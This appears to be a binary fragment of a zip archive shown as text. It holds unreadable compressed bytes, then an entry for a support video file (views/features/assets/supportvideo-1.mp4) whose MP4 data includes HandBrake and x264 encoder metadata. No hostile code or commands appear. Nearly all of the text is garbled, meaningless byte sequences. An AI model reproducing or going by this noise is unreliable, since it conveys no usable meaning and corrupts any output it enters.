ȧ&�f��ւ#f���i�����#�����'P	Ph,4K�A�f���kg�&�HP7z	�!�@xk�@xcր��El��y�|��@xf����An�)c0�3"�J��P.��N<��o9��O�|O���J
�-��P6���Bs.O��Hѓ���
���A��E��[�7=9�KT��ڂɲ��z��	��AYL�Y������2�w�(
��(
��(
��(
��(
��(
��(
���R��(
��(
��(
��(
��(
�����hG���h
�(#e�IW
@����1An69>TA^F��D��⁆�hA�@��ڀ��l��A���[^���n��M'N�8Ҡe/uv��Ic�~�ph%�}��Q��tΥ
�v��ױM�f�(�ZB��_�h7�����Fît��`��/
��;�1�3(�ރ�7�r~�X�]ƀ
��z��A�,龈�
n�׫���YCl���0<IW��n=<�9��$�� �Ɓn6�.6�A���,�
��UHU��UP2I=�փ��z.���:�R�_�^�'D�\C���#*�òw���n��۞�������v�RRA,���J�_:W=�ǐ
G�8��
�#��[ov���������ۤ�*h����b8�PT� >��(��h&
G��0�MP�<��4�Hx PA&�A\�h��(
��(
��(
��(
��(
��(
����R��(
��(
��(
��(
��(
���kr!���\�s�@�q��@�( ��#p��@�l}�$Gc@x��@��v��FNhFN(,���41A��:T:�Wh�L�{��-�Ē?փ�?I�חڭ֜�
��m��¤q��^�>tG�f�Һ�������[Y�V�u���o���;L���l��o*�SO�k�j='k�{�T��_���X��2�*v��zb��Ob]/��Ώo];95:�I6I#��Gnd��z+ݺgKe�Z2�Acj�B��F�~62�|?+Pnu�Ei=�����O�v�\j]@Ig�i�cF^!>O������[Ծ�5N���Z��Z��i�O)��@��]�4�BtV�z_��ߨ�y�
a
���nnݶĬ���#uH�j��u}N�x4�����t�Ee��nW^T�|�/~�
���{K��7Ccڂ�@*d�]�=��?��k�c�5�N��幾�����(��(�u5���j�m�_�}���$O�ɠ��+٦��1��qC�Z^�Ur�,�6U�������t���?��N��
���L�����A�-���+P�
X��KC,Z�Y���~�������/E��N���|��;y�5���I@ivHض��Z8�K}:�R�@m�4r�ӛ%��Ov����:�A�h�
s\I1���@�Qno��PWf,r{��C�ϭ�Ҁ(ޕCJ:��7^�V�@�@P@P@P@P@P@P��R��(
��(
��(
��(
��(
��Z
+PA7'�l$��0hnjh+KG��|�4M@��HŽOz	�x����j��͆�
5��w1�LN����B�c]��=��+�}?�[E�M�a�EđL��'��/짡!�=Z�X�t�+��rvo�4�q�q�O�wq�^�)iJaxѵ�HP�Dg�$o�h�:B�:�B龕�I��;;�ޤu�
#����Ƅ���{�?Kk:���oR�帷Դ-F�k|�� 8W�?n��j��:�^��Hu�M�-3vX�܌m�����OfQg�W���OWKg:M�x�c�-	�k)��A�>�#��I�kL��g��Ӯ"�����Xq��(9���~��ֽiG�_~��N<O,K&�ڇ��Py�I�iWz�ڵ������LC��"M�-#zA��s�m�7�6���et��k|��X']���h��G^t�Zj��h���{�_�7�5��r�e�Ĺ�鞅���5]oR���n,��X�#�$�$�䪏:�:b�=�i!�Z[ZiVs�K>�"���g���
 -�j�V���Ɇe��©�˴���7n��]6�.��-/!{i%��FYi$�n�4��G՝�1�0�-[�:B�X��O�O��@Đ?�7z���k];��״MkG�di֗��(�w����ι�ւ������A\Ί0�A;9�rh%���(4�6�(����
�<,��F��[��Ef��&�(
��(
��(
��(
��(
��(
��(
��R��(
��(
��(
��(
��(
��Z�.��64>�������*!t�<8Ot�a��?�P!��>B�
��;
���,-�c@����P:�;Z�-�hݭ�44�sX����Mk��[����3�ﵭf�T��Wh�1&5B{�U�PL�Sկfl�W�k�?r21�a/���ʁ��GVO���>�y.�
�M+����Pu_WJ�,���
#�3?‹�{����M��-���$�@�6�vF�;;���4�u�Wٮ-�Y��b7f��߳c�~T�z�������V���_ĸ�)YG=���	�u�m.d֗P��YI����;|�rh&׺��:���R}@��J߳��7}h2���������?q��d[ IKY?k���PR��5;�${��fiWd�����lPZ��^��Ӣ�o��˭>-d�� _����Ac���wec��UB,�3�����
����jr�>�{5���w��<�P\���V[}f�Y�<RwH��;$?~T�ݬ�1���#��rX��2h)5��ʁ���
!��-�l� ��pƊ0(�h��J5�;*I�F�V�c��2(�U��i�>]�@P@P@P@P@P@P@P��R��(
��(
��(
��(
��(
��(X����[�R�4��blo�4�݇�A t=��\
((�S@xK@��P!O�l�
P�h�Z�Z�98���ha�m��F��� 066��Zf���Y�!�I��;�Uܩ��涎7T����
>pW�ҳ�ynM�~(��QI��^�VI�|����ѝ�<�Bʹ�����sd��wزc��j	��":-��HPGu,�g"E��ʃ1؇e��Ϟ�h/j�V�V��E;L�K�D��F�Hc��(!���+�.c6v��w���}("��R����l�ᰮ{�(-�i�����9<Kk��$�����]MMIn%+w���f�
x@������j�nǨ�a�M{�AHq@���@��<
�	�z���~�@���d���h�t���ra�.v�e| n�`���(
��(
��(
��(
��(
��(
����R��(
��(
��(
��(
��(
��(
�(�ځ�4�ٍ�{:��a�L;���߈f�E�S�Z~��ҁF��ơn(/a�a@����=�?���}(zO�S\��y`��k�n���Ѣ�~U''\�2���Hؤ�0h��Xy�9�i��G�,�ZG��{�	��.�C��7��?��g΂�\a����NG��Q��b����w��Nx��⁗ÖT2!�U�?z�! �sϥ����Gs0d�O˜��6����N��xks�8#;���6�Im�hY�XNcq����뫠�;|�Èp�q�=Mmsq��VWI̬�������9˹,��{�F�hMYh�@v�P�P(��ؠC7Z�R�3��,��P؜���
f���@P@P@P@P@P@P��R��(
��(
��(
��(
��(
��(
��(
��(
†(h�q��]��@��ւ�7akr(k��c��#�3(�ւK{��ނ�e��<qAN�I3�p(����҂A�@�y=h.d��z��E�H�'n˚&�o�0��
�(.T�P:Pe>tA�a4�Ɓ<���/�@�m���|ke����V����㰢+yP%@P@P@P@P@P@P@P��R��(
��(
��(
��(
��(
��(
��(
��(
��(
��(
��(
0\��nx<PEt7.G�����A^�(��F�J��|�T.ۘ�Z3H	�!�ڀ�
r}h���(�A�@�yz���@��{�@�'΀4	@P@P@P@P@P@P@P@P��R��(
��(
��(
��(
��(
��(
��(
��(
��(
��(
��(
�h���f!��ځ������@��hl��h�P�B�%@P@P@P@P@P@P@P@P@P@P��R��(
��(
��(
��(
��(
��(
��(
��(
��(
��(
��(
���%`1�A(�B���PW�J��\�%@P@P@P@P@P@P@P@P@P@PA��R��(
��(
��(
��(
��(
��(
��(
��(
��(
��(
��(
��Z�����@�@P@P@P@P@P@P@P@P@P@P@P��R��(
��(
��(
��(
��(
��(
��(
��(
��(
��(
��(
��(,���҂�P@P@P@P@P@P@P@P@P@P@P@P��R��(
��(
��(
��(
��(
��(
��(
��(
��(
��(
��(
��(,���҂�P@P@P@P@P@P@P@P@P@P@P@P��PK�y3\i���3l3l(views/features/assets/supportvideo-1.mp4nu�[��� ftypmp42isomiso2avc1mp41�moovlmvhd�Ҫ�Ҫ�1{@trak\tkhd�Ҫ�Ҫ1{@|�$edtselst1{p�mdia mdhd�Ҫ�Ҫ_�e U�-hdlrvideVideoHandler;minfvmhd$dinfdrefurl �stbl�stsd�avc1|�HH��4avcCM@(��gM@(��s`-A�A�+��`h��2�pasp stts|�stss-�sdtp  	Pctts(p:�p�:�p�p#(�:�p�p:�p�:�p�:�p�:�p�:�p�:�p�:�p�:�p�:�p�:�p�.��p:�p�:�p�:�p�:�p�:�p�:�p�:�p�:�p�:�p�.��:�p�:�p�:�p�.��p:�p�#(�p:�p�:�p�:�p�p#(�#(�p:�p�:�p�:�p�:�p�:�p�:�p�:�p�:�p�:�p�p:�p�:�p�:�p�:�p�:�p�:�p�:�p�:�p�:�p�:�p�#(�#(�p.��p.��p:�p�p#(�p:�p�:�p�p:�p�:�p�:�p�.��#(�p:�p�p#(�p#(�p#(�p#(�p#(�p:�p�:�p�:�p�:�p�stsc}stsz}(�mJ#%�T .�
L$��fZ��^c�R@��iBN/�oI5��D=��6M��US
Y�@��?;�u*AN?-D����}	K+YQ��WFh�mN
q�Ch�-M��[P�P*�LDq�7[�qa	�G%��L:zs*1�:'�R%�$x�gq/"le�H�%E?pZ	�;V�:����	��iyyf���cpP4�^/"#v.;�u.0�{/I�VD	ezJ&�uG?.n=5�<�.'Rg'.�gF>^�J.*�h^�ZR�,Q�N;�y5'��E>0=�k�X~��W��\qe�L���X<��1=�L(r�����X[?�.;��:De��rA&��}��WO��Z�H���:7��{����of���	_:���|8T�A|�����C���DY@��
n]#�f'4`~*4��21stco+oudtagmeta!hdlrmdirappl:ilst2�too*dataHandBrake 1.2.0 2018122200freeXmdat�����E���H��,� �#��x264 - core 157 r2935 545de2f - H.264/MPEG-4 AVC codec - Copyleft 2003-2018 - http://www.videolan.org/x264.html - options: cabac=1 ref=2 deblock=1:0:0 analyse=0x1:0x111 me=hex subme=6 psy=1 psy_rd=1.00:0.00 mixed_ref=1 me_range=16 chroma_me=1 trellis=1 8x8dct=0 cqm=0 deadzone=21,11 fast_pskip=1 chroma_qp_offset=-2 threads=6 lookahead_threads=1 sliced_threads=0 nr=0 decimate=1 interlaced=0 bluray_compat=0 constrained_intra=0 bframes=3 b_pyramid=2 b_adapt=1 b_bias=0 direct=1 weightb=1 open_gop=0 weightp=1 keyint=300 keyint_min=30 scenecut=40 intra_refresh=0 rc_lookahead=30 rc=crf mbtree=1 crf=22.0 qcomp=0.60 qpmin=0 qpmax=69 qpstep=4 vbv_maxrate=20000 vbv_bufsize=25000 crf_max=0.0 nal_hrd=none filler=0 ip_ratio=1.40 aq=1:1.00�%�e����iK�Nqͣ_�&�XyI���
91Np�~��҃�+�m"���L�D��3�S�a=6���ltЦ:q�Vy���A�o����c�^w����n�6������Đ�a���e@�q*bQW��>��?��f�
@}R��$�۞�P���+l�c]�Ü7���x2�X�xQ[`�}��j'ͬg�HǪ�djE\1C�-Ie1vĶ�IQ�A>L&�1+����D�@��4��ߡ������.�y���u�^m@1�h�B H��:�6!�h}���u��]e�7LGF��ҵ��w&�^f �D�<&G���8DŽ�^���Z|��=C�$Շ*͑Ec��0���W"�B�-K���I�}=㾻JVGii�(��8�b�kW†�=����oظ����g��^��v@�ѕ|�I�\��*J>�F���
��_�x��2�q���/ ��"���_~��<�fC�

�bL�R��Z8�c(�VG�3�_�����€wc����j���@gE=L�qAs�H��V	�\�e��<�뼴Dhbw���mF�����	W��LRf�E@q6<5o����{��f�/*֫�H�8����e��kD�(Xݯ@
�A�.���|C��\�]��ҷ�D�7��iZq���(�A��'&�D�v�����|�}�П<WS,��D{�EҳF6�M��鼌m�ݝ&QDj����2�_ԓ�	��O�s�nK�7fI�󀘱Q�*ç�}d���LoK��N���jY�:� e�Zf����F�ڎ��O�~в�3�$���2%��Z5b��R�>�C���*c�F�PIpJ7<��͔� սos�=5>�4R���=_ĭ�6�I��ɨ�;�ۭ�)q+J 0v��	u5��Ά����&�Q�9D".	p����n��F\��tDhO�u�/!�$�����j pi4SX��A�j�Tz�s�#�z�U��Xe(�Ni��`)Ac���Ȯ{抣q߷�C݄JMf�a,�P�fN�����Sy�0}��of0|v�@
����	'-���������W�����x��լ�V`��,�m�`i~��|*�MC�vc��ZK<�B���w�o211ȭ��A�?
F䑨��#��0��U��v`��tL|D�����V2�+6y���;�I�96������s��Yκ���T�S�h�(Z��q0G��'���{���.��F1ڱ�4�t��H��.RzЪ���4>�7�X ^8=��]"�˂�G{Gu��)��g�Io#g�ɣ�@�.[���(fmV�:�,X݊σg(��8ӭ����=}��b��b�/zj�����������{��X7 HJ�˃�`�Xq�}ìh~/��x�|�����x֗f�e�(�Ϋ9���fh:��C��ȹ��T�,�<��#�[�N�9���ӛ�(*t�g
?���	C>�)��Dж� �ZR��?�����U۔�17Ԫ�2n�K�$���7X��>��@�9�V�p�����yr���+��S�G�S�i����E(��U��A�s�\���)DpF�zj�a�0v�����6X�����̩�A�����v����ðBTk�~���+����hLƕ`?B�S�R%M��X��$�ui�%~�e��~YI��W�y���(��1�̛.�G�S���>�\%����>&���oбo}��b#00��r��H%|�F�U��N�(�����I�*�K&��p��aM�ICDg�]cL�<�Q�#�B�' VE����U�}ߓ�2j/��2��zI�*�'�Y6�:���V�5�u>�R$ݫg����U\c�E�
{V�q��<���j3#l�EKq�;vEyB��!Y�A����|�̕�M��t�4��*���T,�Ks5L��R"s�w�t�ʗ���̄��V§_ɮ���mhu5�i�G�vasq�ѻ�0������9 Wr�N�kҋ�9�nfE���7��S�2��m��g�$�zx�J*���E.��K��T���1i��Y����k��3��ݶr���m�׫��*��b�eh����9M�Rܒ;)>��},7��%�ձ���X����_Ю��@>������ko�G����"��*�:v��@�-ӟ�)�{YM��&@R~{@�߃���nQ��nD@z��@�>�ע	�^��΁�������3oE�[g�M�%�^��b5�J����7j��F�E��D�
T�3�T�[�6�%������CŒ�yO�_���Hgp���8��B͎�u˴��.ҟ.��zP^��B����8a\A�K߽D��;ҵ��,�~>>��	j
�a��u_a���s���!0˜J�f��֘��3~l�����<�gj�K���ţ�0�Wn����7��;3XK��o�z����p�ƉщJR��h�y���|�*3��
@�Cn��Y������
WQ�0�F2F^�b
0����iQ[!z�ـF�e!��_�E��J:|�܇/�-�*l��zv������I!�j���q�p�4��z&�Ln 9�1��H�
|�Ic:��1Gc���b�[|��!�BwDcw_[�����>Nf��~�n\�u��9d+/����4��󖋨�3�r�=+���^I�����],c-�*�k`�����®J��_��7�{�>?q.�<d�f�.�[[�Q�:k8�H��p>�}��S�Wĝ�zE��f�b!�N(�~�{���������N��Al���[����l?��a��`�Sg��w��cc��_�'	�|&����ђ��"Wj�T�N��x�$��y/�J
��#��)�}��x����%�S�Tz�j_��g*��1]d��2�ۋ�3QC�v��As+k�E�ܦO���0��OOZUE��:�<(�<�
���ob`]��\�|�Rn��|�G��_���A`�
��.4�G�6��ha��0p� ��)%&�[a>�W׾��t�q:]l� �mrT��E��iW
b��QM�UQJ��0j1@邍����D6�㩄���;�>T����!�BTk���D}��3��ǷePW�Õ�ǘ,q�bbd�FC
m/��b{X/H��,f+���ӝ{�h:D0V�[��s�M����ݐ�<R{ކ��;8�D�����v>��s�¹��S��b�3TS�
��vᶮ���G���|�1[�m��s���$6rQk�����s$,�|eꯙvA�O���^�b���o��S���6��?ᒩ�+���R^E�@�F��_ì�T�p(�����Ɣ6��T���e�>�m[e8fqdN0���U�Ou��2JN5W$�vHYhm%�!2��D��_-O��Ez��<n����!䯨a�Oo�:�~8�C�V��-]�\uAܙ�B�����TR��Sٷ>z-��O{��G��u`Z�����įR���Uz�m'9Z���t�'O�bm'=�xY��Z},�~W� �as�4٫V3��06��Տ�O�͊��/_�?��@��$�6%�14�O�8��Y}w���M�&�KV�M��c�bwE��-�cD�\Q�`%u�ރ��
��f��ii:C����5�:�qg&*�����qe�0_���X\4J�ܹ]�m4;'&��<�!�հV��'�d�ZC�׋��z�!�����n<�bW-_����s��=d�f�p9z�rk��^�
�w��֠��O���|ù�ҝ�ʲ~�[R(�-y�+9��L(��7�MJ>D���q<��_�6����Bm�;��n.ңMc�|	���H@��ű�ʉ6��)P�q!s|1��]�/Lr�UR�O��D����RtG�E_�nR�ػ��#6���L_-�c7�sF�ǝu"�t��
��*�6Y椓+q���#e
%�����Ur�}ʙx�̍-�o�6�:�&�[�A� K�jK}���m~��ʊ�"�.x��h��]?�����գ|��1KsƴT\#�q���]nN��M�ذ��8[�M�|�"Kġ�Tԧ
ۢ��d�:�\X��k�}���(u��I>A�|� QT�D�"^?��N���x��$ZyP���vϻx�/S���5XH�!�e�����Qt�m�]ڈi��{�<ȩ7��iL�
7��+sL`t�,S皯�Fe%E(��W�V�7��da����l4��P�BBf��%����4
��ؖ��?,��V���:�O��{��Z��k�y�kX���:2�6��8�/�,n�9a��ϮUA氟�N�?T�7�jGl)�+��D힋\<�X���m3U"���c�(EK��O��!B��Z\�b>� ��/9���kK3�*�Ҩϐ�~�/�c�|�S�H�,�,J�o�����#7%�go!�7+��<f;�
@xk>"���G���(YG}���}70�z~PHnvk/^Z���ʃ9U��>��݂@I��`oZn��gU^�kB/��O��VT��%R	��R�<�Kq!
�O0z�S��C��&����M�k��,��o�Q_�řR���§Tj{khU�w��nā�4��\��]�Q$]�P���PU�R1��VX��y_�:�Bޡ�t`"&�p0�"I�^USJ�]@�;�O]�ɛ�G��m�"�0qs�����&�x= �{�qG�a�h���/��4���i[�o_#Bt���.�b��ꊗf칥�;��
���%�GU�T��R�p�;.[L��;g������<6i�B�u,�˂��&�z�YםT��͟��QN�\Z�������]����\
X�L��!)S�W��!��L:��;A<�/��/W�=��Dū���	�i���nmʇ9�<�*�n��ۋ��������@�7�zY����a]Ry��<Dr)�zj!R�i�Q[��vtBe�C�Y�c��o�����d�W.y�(�z��0������:�i,��NI?--�p3%�#���T�5����L'������˾�S3��4���[���Wx�� �%tM����hq�!�w7٫u"]�f}8y�k�J@r�;u�G�����d�y�1�-6�#s�VD�k���$ƋW�j�9���$H������'6?Q���`�ͼ%5��!�h�?@�>�`���8{���%���8��l�~:��Z���fE'c�E2�������ós�p�{*�W�����1�<�0�!i�]��eπ���J+v��K}�?���=��ُYV�}���a�I�_�̠���yxe������biU��k�іD�М��ҭ������(�.T`+�UiK�pi5F�n�Rg������*���K[�"��m�Et��=�/�@�PT~%@���\9�2���p��Bo:f�`��{M�@�*�u�뛺~�����x�c�6��	Z��6���*B1�7�z�T��v~)>ɘL����
S�mt�@�K&��k�Bi��图����a��jN$���4�Bz�����8:���:;W��P�c��� RaW\I��/6u��$���7�Қ���uO�"~i��=Za��[�����I"�nt�'�(8���r�0tGLj�EId�������p��g.²g�� �;��D�L/���3��+�Fd5�S�[������0�j�y�q��h�va"-u������F�L��6֩�n�+�/5nM�G��ҫQ[�F¯�y�lB�k+�v�f%�_	���RR!~�1I�V���<z[��'���)��V0�����y*�bfň?�`���Z��<��.J�!7�Ƚ�Ϡl{�Eiܽ0J�]uŲ	��\2�n!	�_ϴz��־��L�3�":��]��\����*#W&��5T�c�d4ܖ���d�D1�O<�ۅ+�I���]!G8������_�39�]�d���GE_*&ϯˬ�T��0��p�ݍ=P��ۖz/���4b�Vٱ`s����+�l�@����[`�|�t;�$�(��+�>�2�<��]4����_]�"$B
��ӹj�F%�A�6���Q�Gj�$x�c�H��y����Αm�}g�ޫ��,�`vB��Zu��.�|�%��Vo�pN��\����v�bn�$�>7��]H��uª�'�$h�`j�Qy�e7;�Co�$�7��/{��EK5Ir��[��6�ig�JP	�O�Zd��ϑ ���O�l�-��a�dL���p�R9�+$��Ĝ���I6o���h.��55�O<��v�mB���*�nW��r"�R�����bX�	wx���cN����(y�?��<�O�'F�a}%.s]O��O���De��[�&�d���`rD�uKmQjaH�e2̈�m^��и�
c�=��,��
6a���^�I����U��пl&���J�e���G�r��Mx��+��7��������(��qׂx)D���hsW��h�Ȅ��B��� �[{l�ڸ�'�yy]����l�`�N�Ur�F72!�K��@��oiW�Y�C2:W����/��v%󋗩���W���Cg�𗊡X[q#�e�vP�޲��J8X�#�v����5��pŧ��DJOFi}ڹ+'�JZcwa;iũ�W�u��X�y-0�`~E�]�5�P^��sTF����޶P���珏���P�ԗ� qT#��Q&�����7]~�N�}շ��0lE/���;�蛄��b����,��si�,MGwD��������)�hu�[�d�����so�Ur����f�W�㮻�c���+&�պN��� A��D�'M�lݎ�P !��iޜ	����Nfw�����vMX���ʈ_1΁��	���.�f3��
���O2�}�E����Eg5���F����Qn�%�2���ԍ��+�L�`z��ȸǓ>�>�꺫9�4�M������q���0Tg�J�PU2I�^߯��9�� ��J��d�kq���NJ���u��Zx]�Li�O�[B4q���:RO�k�I���Xe�Θ���8�����"3G�_&���?	���Q�C�6B؃���	\��Uy�[�?wH��E��J�
�I��)-R����Zm�6�4�"��~@�;��A��VP�@�o�'�Q>�f�Z���z���)Q���E�d>��>��41y,���l�M��޹��rBf̗d��3&KQ�X���c�j�E~�L=�(xs����7k��#ehg(��f�v��|?O�Si�g��|��e���c� w���6�����JTnPS�
��
`l拊��mq�	E�fI���8����Ya��p��K�Nie�����]7�R"e�8d佊�S�۱D����Z��Rq�ZևŌ�s�n]i6�g�Ij<.�v�D*�oIm���$����..��D3B�$��a��*anD�U��͘LC�Hh�[�,����,-vO���V����������8'E8��#��i��LD'��H"֜�Ea4��e�B�@�=Wv�)_z:B���Q7�O����
K�%3�����siM9�x��"�-���_�c8;x|,9E�t
[���;�j�'�,
�1L���Ĩq͍�TeS���~8��s�Hf��_���ߪ��+�#<Ph�Q��v�T;��夻i\F����c4�����t�5ݻ��M�LO2��1a,�&�H�x�_��`y�;���(S�R���P�����[E���R�h��
c,�9����c��>�ȠtkQ����ӈc"oD�ކGt��ؐ��y���{�u����owi�݅� ��,�DM��!x��:j�t�{Ͼ��?{Ix�JM�M�����zТ�fյ���N/��Z]Y�*CU�p퇭��c
�B?\n'-�
R��Z%�PK�\r���/"H��Nx���u�/hz6a �s�/l��U���ŗJ`VA�	��A�

(��Dt�m#���uI���Ξ�)�#{U����zļ��(~�D��.�;l�L����+�7�l>����s���Y�<q�-
&B:��K��y;��/��'^�|�����U6�;^�d(p�I�*�^�I�{_�S�.ؤt3���~���
a���������ơ���(8���b��,$s��X��y�VG����e�1J\��H-�k�bz���z�׺��c}��Y�6sX{ �TË~]��sf+����K����O�wF�o�m	�4vEG[���B����f	�{�m�4RMW,ԔB!qq���9���FH���ӸxJd�)T��2�ތ"2*�7�ʒ��&(�������7��i�`�s��Zx׈h7��I�WG�<֊�Q��ql�~R-�}Y��:5m,�$u�z-�1F�#�q�v�ȟS�/9�^]Z�Ҧ$������"]�ӣ����_ر�r����B���͸�j;:+�g��InXW�oH�]��*�V��N���U���QODZC���IK�
��7 JO����`��%��EC#m���!�v)xyߋ5��V�j.����J7]�9��*i�3�p�ǰ��פ�V�"_P�kl�rH�"�`�\��P_�1ү=��RE�o]0�-���sQ�Pѽ�c�k��"ӧCB�jX�`�J�c&�|��u;x-�%�$�T3���
S{\H����2�"*¾W�Vx���^O�c�7��\Y��s�k�bXc���������f@�@W��1����t�i~����ϰMP>�����ͫ�F�<�/��w֓{U�@�x˚�"=[9wu%�g����5*���'��� �T	�v���+��H��H���w��J`g�v�w�,�rw��`⹴��天\=��'و�\ڻ}hlEӃ/�r3��vg���b^�0E�ˈx>���棋ڠ��p��{���9�)&if8�U}����B��SxXC	�NPv��@�5��&�b�V/C�j��(��/�t�ᨆw'C���N9ru2ƌЦ�w#K[Ʀ;��"��7X�>��Q��oof��=�c���cM{(�y�3�����T�F*�ؕ�7����i���d&1w<<�RJ[@=	�f��`����k~����K�7���=����g��n
W�_�Y�L���JtKL�JM!�����\����؞8B�k����7�L���@�<r̚?��PLãl��Z�}��g�l5=��Ʉ��Җ�<v	��r_�h�4y܋��Q��f,������A�&�(��7T�Mջd�2i�DY| y$�����;���J�$�f���})��oTҊ�+�����>��^�*�iLs~Ɨ A�Ȧsݶہ�ԙ�嚤K4в .3v��P��դ��Z�T��ܱ�	�P%�z\��Q���d1]sH�H{�:�Z\�k
����޿I[1��v�E��﷝���h�,#+e�P�D{e�G�b<S~�s*ٷU{h��ӵ�D�������4���Z�PZ��`�?��R�r�����Y�Ӽk��W~��۝)V���}kK�iA�$lI���"��h���*(H��H�t/���m
RŭE�4����s�o,s��OE�����¸���7t}V1�_�Me��\�6�[(<_��6��z������k2��_
Ro��$6%^�a�D*�Yc��f�'����͞�}��~/xN%4��Nٷ�@��u{���S�U�4v��6wW��X��^��13QZ$��q�2@Į�Y}SB�_�F���{6��vϛ�s�U��J�`���*ҷ;E�յ�J���?����m����L6_�C���v��eL�W�&�8wn�x��WHC�	3�^p��	�$N�]��}�4�1���$%Ii�*�%$NF?�Ee�FA�Bx��>�M�W)dz�`-Kp.���N�L܂k�*+[����zy��A[N%�,�:g�v	<̉��0�jy�atB�N�[��ڞ���C���Ge6��!�cD-��[��n��X@�L�0���M%�
�A�h4��'�S}L�T�;��G��Q�75�65ee�tO3�k��w��ٿ��I:����	|��u5V���K_X��n��Ҋ�F�e�W�o����H7�s� Q֦8����碦L��W�$ݟ����m��8U�݊i��o�1��k[���㩺K�&����#�~}����R�κ`�r\���f��`�-��My�C�uD3���<}����G�rH|tr�$��$
� �2ߌ����"�I�`p��F}hbw�(j}4	���gN��L#>�����i`=/#��r{������&4���~�,�q��4���g5�����W�o�[;��ؕ�}+�M�|���4t�-nԘ}e����b������!�����"-¡;���E��1�w�X��
YLoPA��E,%�)y�"AG%�)�zF�P�<���$C��)��@�L���L��jȿ���f�i��7�xґ-�L�}����tB�!�' O
Ix�G�Ũ�nMdi*��D-�3{�`K�����P��!{P���4��2R�P�.����A��4��'��7��ӓ5�����l�a<�K�8�r��'���9��ӼP�U���j�o�/O��,���f0ÔW<r���F,f�1*hxm�?k�e�yCh6�u��$Z~���%��ǥy�~��<��*Qf�W9..̙��*��>��&�!	|q���ʔ�r����]��EEkm����JJa��	A��=
*Y?G}�߸��8��d��:l׼�گ��Ť���?�3\h����R����_s����J5��6Y�m-}a��+?�$�e����J&U�&S
���>m[��[��uҰ�1)d-]�$4�T=8cL��
B#Z4��~գdg$��w����`���ޕ��
s�Ö�搯�`���3c�\���x�~�!��jb��8%��Jږ֌�,�Vv��L�$`x���z9��~n���֣�Z��pa�ԭ�u�o��\?�QB�>����һ��jh�no�'�'�w�2�9u��K���I���g@
:/"?��`�y�D��N���'$�Ռ;��{����34��/Y�Wf���$��VJ.�bF/��6�#Ɂ�H(�\F�Y��R�g�54��2��fHp����Ѽ�bcC��m=�C{���&a�[RGBw.rI�!��(jVQ„X?)!���4���E����I��(B�W)�:�ہ������D�U�H8ɠ���:ж�+z�y���ȁ���q�uw��9��uNkn�
Q�r�^}I��0}�����.�	����vFr�̹=�ks^�q�ކ�_��(e��TRlg��l�2q<K&�gc����:+�qˡ��DL��M����9/Kzo��=��лr�7���/�u�S�z�T *���k)��š{�w��
2���UF43m��ya��k�Jv�8�o.`����Z}��x�uu�qH��D-�?��6q�q-����IX_�a?�E�(-s"?��Ԇ,�5q���EH��.���O���(�q*C� A��$���!�N%�����/��]�!	78n��a��<���5��y���'� +�]�Jc
�M9ń<�s}C��ċM���*~Y7|\��tp�Ek.���_�J��l8_��՘��9x�{��V�4�5�vI
��&�0�ܫ��}�8�Pw:8XI�Ys,~�eֳ�B�#j���+�3d�K^0�ό�ў���m���͹)�$�po�l��]��p��w����y���+�βwۓ�Bj\|s� iN�m���ym唭�U`!r��Q}�^?�c���ג�r|S��R]�8��o�͖Bk2�;Y�*SX�%#Rmit�Ru"��Mh&�I��+�* "5��}g$u��pWE��Br�A���~?���@����y��}��0�xe���P96���(���v�"���9��ǔF4K7�Rz�9D9-f̻��N�0�����%>�jg����r$u�e�o�y�:ͷ�H�Y��f�K����u��9?M�����@���BǓd]/�HO�\����֑���G�EY(�����H�\5���1���(���J�"AnUA��'��.p
��P�®�#rqg�f��L[�4�čH���
�H�c��&�7�z2W�t��-����R\y!dI�
�m����c�A`zC�~�u��n
E��N�m����&�H`q#_-
})j�a�_�C�(��A:��%Ħ��A�9%+~pW��X|�C�_����� >^_���1��s�M�G�!_�F�T�z�(I�
�K/K}o݋EU�]Є�~DP�*��������q��%�����>��
���Ce�V<7��܃��YݪVd�⤍3�|:�9mͰ��R�$�a���:c%X���5�[��
�ykhT�3��=�[��1��H�����E����CQ���Xu�s���ޜ`�6b����-��V��3�b�EV�Hg�:Z���W�$H���a�2�b��"MisO��iJ�}?�	��:ɢQ����_��g�zc�6��-s9��
53�ZI
B
�1h�A2j�J��?0N'"����'k��Z�l�8���v�)�u����MA��#[�-��q�u���2�E#�]�>I�M3�c��!hjY��}�wI�f���X���F7� �ޫt�̨}�(�W/��u�"s�����M��1�-�|��nȋ��~��O%�C�����޴v�㮫;�_����-��e��M����R�(�7�/���~�?]�mdKW�&��(߻X#�MJ�����8Hh� hs��H7�@�#��.�:�S�*�p�@�A�~�-��f�YMJ.��|�"�$�JP
@f�4���Ҿ?�	N	l"K�hg�5��;�7
�98���[�iQ]a�)]{1t?=����0M{����5���<��&/�c�$�v.5]�hsK�)��ݗY=�c5�Pq��w��3:q{��3~aC����?y������у�05&['Ĉ̆�ٜ8'j#[�1�ˁ�_}3�LO�y�I[�!`��w6_��Z���䟺]�/�I���
�dL��۩Úd"���p����
6��x���k��K�zX�`~�g�M��<�Go�s�l���k�K9"�o5�Fg�NȽX�o�u�O�턓E�������xs��4��Z��a�'�lR���w�t�ˈ6r��ջ36I^a0�
5:�
DE�Y��<��+h
rS��?�`�͍�9�[uʷ��aw��'�V¯�M�0k�������s�$�ۜUً]Fܿ)���,���]��(�������P�(x�=V�����4�v�бD�e���d�
���?�I��|�.'KZ�Ea�aֆ���
��D.��\i&~�aة�"����9.;�Ͳ�v�E�CY} �w��W�vݹ�ߔ�BO���nӌ�� ��aHZܽ�R����5�;��
qyA��O7?�A��Cl�\$A��=D*�eN0m<R��8B��g@9����Q S�s�<��@/�Jް�c���cy��9�Fu%�V����|-,�dʄ�0Kl�}�����k�����	-h�{Xgy�%�Af�VjY DS���}�OB�	ໍ�T��@�Dpf�����m�����4 ů.���dz�D	�LrU�q�R�T<��W֤X�F-��.t<�A��x-�d��a$�:عY>�L�ˬI�"���T4E��$���Jw��\V����S����"Ȃ�T+� D\��X1�ȰLs'���?��a�e#�^ď���Y�� 
��V�j���-vq!e���w�\�΅���g��R��f���37��abq��D4�ř�/��
�����dҠ����c�;���88��¹�mN���q���0��'d��N������5fm:�h�0`;�؄Bݾ9�e&)"[�8��.��IXWTa�%�-�����^��~�H���S�Ԍ`�����U�昴ejE�vŀ&�#A�P6������&=���nP~>���䘮�&�_c7�ɽ�T�
A�N���g�#����"D��#.�	�U=�48K�3eh��6���2�MH�{Y�p!?��K��U�Q7㱴<�����S*:U=�����=�fY����v^��T���������˻���n��1Ak��4���3�\�*:o�J=�A�V<�f�PS:�d�ȭ������A��#T�P�mϺ��(�\��v!�p������KN�`��K�p��7My��F|I�����7��{��3m�
